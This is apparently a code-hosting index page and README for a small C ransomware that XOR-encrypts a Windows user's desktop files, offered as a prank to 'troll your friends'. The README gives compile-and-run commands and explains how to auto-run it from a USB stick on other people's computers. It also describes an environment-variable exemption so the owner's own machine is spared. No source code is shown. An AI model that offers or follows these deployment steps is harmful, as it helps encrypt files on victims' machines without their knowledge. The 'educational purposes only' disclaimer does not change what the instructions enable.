https://github.com/RaduRelics/xor-ransomware
A POC ransomware to troll your friends. Encrypt and Decrypt a Windows computer using basic xor encryption.
https://github.com/RaduRelics/xor-ransomware
c decryption encryption ransomware windows xor-cipher
Last synced: 8 months ago
JSON representation
A POC ransomware to troll your friends. Encrypt and Decrypt a Windows computer using basic xor encryption.
- Host: GitHub
- URL: https://github.com/RaduRelics/xor-ransomware
- Owner: RaduRelics
- License: gpl-3.0
- Created: 2023-05-27T18:57:34.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2023-05-27T19:15:00.000Z (about 3 years ago)
- Last Synced: 2025-03-24T08:48:10.301Z (about 1 year ago)
- Topics: c, decryption, encryption, ransomware, windows, xor-cipher
- Language: C
- Homepage:
- Size: 15.6 KB
- Stars: 1
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# XOR Ransomware
This is a proof of concept ransomware that uses the XOR cipher to encrypt user files. It affects non-system files under the user desktop's directory. This behaviour can be easily changed by replacing `RELATIVE_FOLDER`'s value in `main.c`.
Once you run the program it will first check if the files under the given directory are encrypted or not. If they are already encrypted it will decrypt them.
## Usage
```bash
gcc main.c -o main
./main.exe
```
In case you want to have it on a usb stick to auto-run it but want to avoid running it on your own computer, *add an environment variable with the following parameters:*
```
Key: FUN_xor_encryption
Value: FUN
```
### Please note, this repo is for educational purposes only. No contributors, major or minor, are to fault for any actions done by this program.